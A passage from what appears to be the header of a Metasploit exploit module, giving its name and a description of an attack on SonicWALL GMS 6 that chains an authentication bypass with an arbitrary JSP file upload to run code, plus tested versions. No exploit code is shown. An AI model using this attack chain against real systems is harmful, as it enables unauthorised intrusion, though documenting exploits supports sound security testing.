'Name' => 'SonicWALL GMS 6 Arbitrary File Upload',
'Description' => %q{
This module exploits a code execution flaw in SonicWALL GMS. It exploits two
vulnerabilities in order to get its objective. An authentication bypass in the
Web Administration interface allows to abuse the "appliance" application and upload
an arbitrary payload embedded in a JSP. The module has been tested successfully on
SonicWALL GMS 6.0.6017 over Windows 2003 SP2 and SonicWALL GMS 6.0.6022 Virtual
Appliance (Linux). On the Virtual Appliance the linux meterpreter hasn't run
successfully while testing, shell payload have been used.
